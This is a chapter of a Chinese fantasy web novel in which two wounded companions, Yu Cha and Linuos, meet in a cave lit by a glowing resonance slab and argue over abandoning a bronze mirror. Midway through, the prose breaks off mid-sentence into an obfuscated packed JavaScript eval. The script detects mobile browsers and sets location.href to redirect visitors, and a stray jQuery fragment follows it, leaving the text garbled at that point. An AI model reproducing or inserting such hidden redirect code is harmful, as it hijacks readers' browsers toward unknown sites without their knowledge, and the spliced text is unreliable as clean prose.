裂隙比余茶想象的更深,也更冷。
狭窄的石壁从两侧挤压过来,头顶是低矮的岩层,她几乎是贴在地面上爬行。右手的指尖在粗糙的岩石上磨破了皮,血渗进石缝,与身后拖出的血迹连成一道断续的暗线。左脚完全失去了知觉,像一截沉重的、不属于自己的木头,每一次拖动都只是徒劳地增加摩擦和阻力。她不再感觉到疼痛——那或许不是好转,而是神经已经彻底坏死。
呼吸变得极其困难。不是空气稀薄,而是每一次吸气都需要调动全身仅存的力气。肺叶像两片干瘪的风箱,发出嘶嘶的杂音。视线模糊,不是因为黑暗——黑暗她已经习惯了——而是因为意识正在一点一点地溃散,如同沙漏中缓慢流失的细沙。
她不知道自己爬了多久。时间在这道地底的裂隙里失去了意义。唯一支撑她继续向前的,是那阵从极深处传来的、断断续续的金属回响。
那回响如同心跳,缓慢、恒定、穿透岩层。每一声都仿佛在说:这里。这里。这里。
铜镜被她紧紧压在胸口,镜背冰冷的纹路硌着皮肤,硌出深红的印痕。她不敢松开,仿佛一松手,这唯一的凭证就会被黑暗吞噬。
缝隙开始变宽。
不是她的错觉——两侧的石壁确实在后退,头顶的岩层也在升高。她勉强撑起上半身,在几乎耗尽力气的瞬间,看到了前方的景象。
一个洞穴。不大,约莫十步见方,穹顶低垂,布满了垂落的钟乳石,如同巨兽口中倒生的獠牙。洞穴中央,是一处天然形成的石龛,石龛边缘有明显的人工修整痕迹。石龛内,没有骸骨,没有器物,只有一块嵌入岩壁的、半透明的灰白色石板。
微弱的光,正是从这块石板发出的。
一种弥漫的、稳定的、如同月光凝结的冷白微光。那光并不照亮整个洞穴,只是温润地笼罩着石龛周围一小片区域,将钟乳石的阴影拖曳成沉默的幢幢鬼影。
而那金属回响,在这里变得无比清晰。
它来自石板之后。或者说,来自石板所指向的更深处、更下方——那里,有一个她无法看见、却隐约能感知到的、极其宏大的存在,正在沉睡中缓慢地呼吸。
余茶盯着那块石板,心跳如擂鼓。
她知道这是什么。
在“星之眼”石室中灌入脑海的知识碎片里,有过关于这种石板的模糊描述。它不是记录信息的碑文,也不是控制系统的接口,而是……回响的共鸣板。一种用来接收、放大并转译地脉系统深处信息波的装置。母神文明的守视者通过它,聆听大地的脉动,感知遥远的节点,甚至……与更古老的、沉睡于地心的存在进行有限的、仪式性的沟通。
而这座岛上,每一块这样的共鸣板,都对应着一个特定的频率。星之眼的频率指向星空与未来。档案馆的频率指向过去与记录。
而这块石板……
余茶艰难地爬到石龛前,伸出颤抖的手,触碰那冰凉的表面。
没有震动,没有光芒爆发,没有意识灌入。
只有寂静。
那持续不断的金属回响,在她触碰到石板的瞬间,骤然消失了。
如同汹涌的海浪撞上礁石,瞬间化为沉寂的泡沫。
然后,一个声音在她脑海中响起。
一个完整的、清晰的、带着无法言喻的古老与疲惫的声音。它没有性别,没有情绪,甚至没有语调,只是平平地、缓慢地、一字一句地,将信息烙印进她的意识:
“你带来了守视者的凭证。”
“你带来了不属于这个时代的、被扰动的时间之痕。”
“你不是继承者,不是篡夺者,不是归乡者。”
“你是……意外。”
余茶僵住了。
那个声音没有理会她的震惊,继续陈述,如同一个沉睡千年后被惊醒的录音机,机械地调取着早已写定的信息:
“系统已断裂。七脉存四,三脉湮灭。西方节点沉默,北方节点坠落,东方节点……”
它停顿了一下。
“东方节点未回应。已七十二年。”
七十二年。按照这个声音感知的时间流速?还是母神文明自己的历法?余茶无从判断。但她敏锐地捕捉到了那个词——东方节点。
“东方……”她嘶哑地开口,喉咙像被砂纸打磨过,“你说的东方,是哪里?”
声音没有回答她的问题,只是继续陈述:
“入侵者自断裂处渗入。形态未知。意图未知。已污染北方节点,侵蚀西方节点外围,并持续追踪守视者凭证的气息。”
“你已被标记。”
“凭证已被标记。”
“裂隙正在扩大。”
余茶的心脏狠狠一缩。入侵者——那个深海光点?
“你已被标记。”
这五个字,如同冰锥,钉入她的脊椎。
“怎么……消除标记?”她几乎是咬着牙问。
沉默。漫长的、令人窒息的沉默。
然后,声音回答:
“无法消除。”
“印记已烙印于你的时间之痕。”
“除非时间之痕湮灭。”
除非她死。
余茶闭上眼睛,她没有意外。交易和代价是海洋文明的灵魂。从她在神罚之面下割开自己左腿的那一刻起,她就已经支付了第一笔代价。后来在星之眼的石室,在被碎片抽取生命力、被星图撕裂意识的瞬间,她又支付了第二笔。现在,这个声音只是告诉她,代价远未结清,而她早已被拖入了某个超越她理解的账本。
她睁开眼,看着那块沉默的石板。
“如果……我继续向前,”她说,声音沙哑但平静,“会怎样?”
石板没有回答。但脑海中的声音,似乎有一丝极其微弱的、难以察觉的变化,是某种类似于重新评估的顿挫。
“前方是裂隙深处。”
“那里是系统最后的边界。”
“也是入侵者最渴望抵达之处。”
“你若携带凭证进入裂隙深处,将成为入侵者的路标。”
“系统将暴露。”
“东方节点将暴露。”
“所有残余节点将暴露。”
“然后,系统将彻底湮灭。”
余茶沉默了。
她低头看着怀中的铜镜。夔龙纹在石板微光下显得格外幽深,线条流畅而神秘,仿佛凝固了某种跨越大陆与海洋的记忆。
她带着它,入侵者就能循着她的痕迹,找到裂隙深处,找到系统最后的边界,找到所有还活着、还在沉睡、还在等待回响的残余部分,还有东方地标……
她成了信标。
如果这里的东方指的是她的故乡,那么她未必找到归途,却先给故乡带来危险。
余茶沉默了很久。
然后,她做了一个决定。
她将铜镜从怀中取出,轻轻放在石龛边缘,镜面朝下,贴着冰冷的岩石。
她将那块从水底捞出的青铜残碑,也放在一起。
然后,她用手撑着地面,试图站起来。
左脚毫无反应,她踉跄了一下,摔倒在地,膝盖撞在岩石上,渗出血来。她咬着牙,再次尝试。第二次,第三次。每一次都以摔倒告终。
第四次,她不再试图站起,而是开始向后爬——离开石龛,离开那些她拼死寻找,此刻却成为致命标记的东西。
她要把它们留在这里。
她很累,也很痛,前路渺茫。既然标记无法消除,无法剥离。那至少,她可以让这些凭证不再与她同行。让它们留在这块共鸣板前,留在这个相对安全、相对隐蔽的洞穴里。也许,未来的某个继承者、某个归乡者,能找到它们,解开未知的谜,找到回家的路。
而她,带着那个无法消除的印记,去另一个方向看看,哪怕不是生路,如果能把追踪者引向死路,也是赚了。
这是她此刻能想到的、唯一的办法。
她爬了三步。
身后,传来一声极其轻微、极其熟悉的嗡鸣。
她僵住了。
那是铜镜的声音。不是共振,不是预警,而是……一种仿佛被遗弃的幼兽发出的、微弱而固执的呼唤。
她不敢回头。
嗡鸣持续着,越来越轻,越来越弱,像一个快要溺水的人最后一次伸出手。
铜镜在挽留她走向生路。
她停了一下,手指抠进石缝,死死咬着嘴唇,但最后没有回头,继续向前爬。
嗡鸣停止了。
洞穴里只剩下她自己的喘息,以及石板那稳定的、冷漠的、亘古的微光。
她爬到了洞穴另一个边缘,一道陌生的缝隙。
就在这时——
一个声音,从裂隙深处传来。
是利诺斯的声音。虚弱、沙哑、几乎被岩石和水声淹没,但她绝不会听错:
“……余茶……”
她猛地抬起头。
—————
同一时刻,裂隙的尽头,灰白色的大厅。
利诺斯半跪在那座沉寂的平台前,一只手撑着冰冷的石面,另一只手死死按着左腿那道崩裂的伤口。他的脸色苍白如纸,淡琥珀色的眼睛却燃烧着近乎疯狂的执拗。
他不知道自己在这里待了多久。时间在这个被遗忘的深处失去了意义。他只知道自己必须回去。
碎片还在怀中,但已彻底沉寂。那阵诡异的灰色流光收敛后,平台恢复了绝对的死寂。没有出口,没有通道,没有任何可以离开的迹象。
但他不能死在这里。余茶还在上面。那些士兵迟早会发现她。
他努力支撑着身体,在这座空旷得令人发疯的大厅里,沿着每一寸墙壁摸索,寻找任何可能的裂隙、机关、隐藏的通道。
然后,在一个极其隐蔽的、被立柱阴影遮掩的角落,他摸到了一条几乎垂直向上、勉强可容一人攀爬的天然岩缝。
岩缝狭窄、陡峭、湿滑,但他不在乎。他拖着那条几乎无法用力的左腿,用尽全身力气,开始向上攀爬。
每向上一步,都在岩壁上留下一个血手印。
不知爬了多久,岩缝开始变宽,前方隐约传来——光。
不是灰白色的冷光,而是熟悉的、来自火焰的、温暖的橘红光芒。
还有声音,一种极其微弱的、持续不断的嗡鸣。
铜镜的声音。
他猛地加快了速度,从岩缝中挤出身来,跌跌撞撞地扑向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226106|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那光与声音的来源——
然后,他看到了。
一个低矮的洞穴。中央石龛里,一块灰白色的石板散发着温润的微光。石龛边缘青铜镜镜面朝下,孤独地躺在那里,纹路沉默地映着冷光。
而洞穴另一侧的缝隙入口,一个纤细的、浑身血污、左脚拖曳在身后的身影,正僵硬地转过头来。
淡琥珀色的眼睛,与一双布满血丝、在黑暗中显得异常明亮的黑眼睛,在那一瞬间相遇。
时间仿佛静止。
然后,利诺斯看到她脸上那无法掩饰的震惊,以及……眼眶边缘、未被泪水浸湿、却已彻底泛红的痕迹。
他张了张嘴,喉咙里发出的声音嘶哑得连自己都认不出:
“……你在干什么?”
余茶没有回答。
她只是看着他,看着他满身的血、惨白的脸、以及那条几乎拖不动的左腿。
她的嘴唇颤抖了一下,似乎想说什么,最终只是挤出一个极其沙哑、极其微弱的音节:
“……你怎么……”
“爬出来的。”利诺斯打断她,声音像砂纸摩擦岩石。他盯着她,盯着她空空的双手,盯着石龛上被遗弃的镜子,盯着她身后那道黑暗。
他的瞳孔猛地收缩。
“你在……扔掉它们?”他的声音陡然变得尖锐,带着难以置信和某种被压抑的、即将爆发的情绪,“你在——你打算一个人爬去哪里?!”
余茶没有躲闪他的目光。她只是平静地、缓慢地、一字一句地说:
“我被标记了。我带着它们,只会把入侵者引向系统最后的边界,引向所有还活着的地方。”她顿了顿,“它们留在这里,比我带着更有价值。”
“然后你呢?”利诺斯的声音冷得像冰,“你爬进那条黑窟窿,流血而死,或者被追踪你的人找到,被拷问,被杀。这就是你算出来的价值?”
余茶沉默了。
沉默本身就是回答。
利诺斯盯着她,淡琥珀色的眼睛里翻涌着极其复杂的情绪。愤怒、荒谬和不认同。
他猛地冲上前,弯腰,一把抓起石龛上的铜镜,将它强行塞回余茶手中!
镜背冰冷的纹硌着余茶满是血污的掌心。
“你给我拿着。”他的声音低沉、急促,每个字都像从齿缝里挤出来的,“我们拼命带出来它,不是为了让你把它扔在洞里等死。”
余茶握着镜子,手指僵硬。她抬头看他,嘴唇动了动,却发不出声音。
利诺斯没有看她。他弯腰,又将装着五块碎片的布囊,同样塞进她怀里。然后是那块青铜残碑。
“还有这些。”他的声音恢复了那种冰冷的、听不出情绪的语调,但手指在触碰到她满是血污的掌心时,微微顿了一下,“你背着它们,从神罚之面爬到星之眼,从星之眼爬到档案馆,从档案馆爬到这里。”
“现在你要我把它们背出去?”余茶的声音沙哑。
“不是背。”利诺斯终于抬起头,直视她的眼睛。那双淡琥珀色的眸子里,燃烧着某种她从未见过、也解读不了的光芒。
“是继续爬。”
他顿了顿,声音低了下去,几乎被洞穴里石板恒定的微光声淹没:
“……我们一起,活着出去。”
余茶怔住了。
她看着他。看着他脸上纵横的血污和尘土,看着他下巴上新添的伤口,看着他淡琥珀色眼睛里那抹不肯服输的执拗。
她想说:你的腿也断了。
她想说:两个人一起,死得更快。
她想说:这不划算。
但最终,她什么都没有说。
她只是低下头,将那面冰冷的铜镜,重新抱进怀里。碎片和残碑硌着她的肋骨,隔着湿透的衣物,像是一种脆弱又无用的武器。
沉默在两人之间蔓延。
石板的光芒依旧稳定,钟乳石的影子依旧沉默地匍匐在周围。那阵金属回响,不知何时又恢复了,从极深的地底传来,缓慢、恒定、如同亘古的心跳。
余茶闭上眼睛。
她听到自己的声音,极其微弱,几乎被回响淹没:
“……往哪边爬?”
利诺斯的目光越过她,落在她身后那道即将没入黑暗的裂隙上。
然后又移开,落向洞穴另一侧、石龛阴影边缘、一块被忽略的岩石背后。
那里,隐约有极其微弱的气流,从岩石与岩壁的夹缝中缓缓渗出。
“这边。”他说。
他没有解释为什么选这边。余茶也没有问。
她用仅剩的右手撑着地面,将完全无法用力的左脚拖在后面。
利诺斯弯腰,用肩膀架起她大半的重量。
两人一起,向那道不知通向何方的、微弱气流的源头,一寸寸挪去。
身后,石龛上的石板依旧散发着温润的冷白微光。
铜镜和碎片,终究还是被带走了。
而那个从裂隙深处传来的、亘古的金属回响,在他们身后,缓慢地、不知疲倦地,继续搏动。
如同守视者,永远无法停止聆听大地的心跳。
而尚未结清的代价,永远在账本的某一页,等待着最终支付的时刻。